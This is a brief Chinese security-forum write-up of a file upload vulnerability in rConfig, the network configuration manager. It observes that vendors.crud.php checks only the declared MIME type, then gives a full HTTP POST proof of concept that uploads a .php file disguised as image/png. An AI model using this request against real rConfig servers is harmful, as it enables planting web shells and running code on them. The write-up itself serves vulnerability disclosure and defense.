rConfig 存在文件上传
rConfig是一个开放源码的网络设备配置管理实用工具,用于网络工程师对网络设备的配置。
代码审计
/lib/crud/vendors.crud.php
可以看到只白名单了type
类型和大小限制
漏洞复现
POC:
POST /lib/crud/vendors.crud.php HTTP/1.1
Host: xx.xx.xx.xx
Connection: close
Content-Length: 491
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Origin: https://xx.xx.xx.xx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWpMXK6WIANv7xtCd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: https://xx.xx.xx.xx/vendors.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=27bdb13b82eac5dab1a420d9699474ca
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="vendorName"
111
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="vendorLogo"; filename="111.php"
Content-Type: image/png
<?php phpinfo(); ?>
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="add"
add
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="editid"
------WebKitFormBoundaryWpMXK6WIANv7xtCd--
- 本文作者: c0nfig
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/225
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!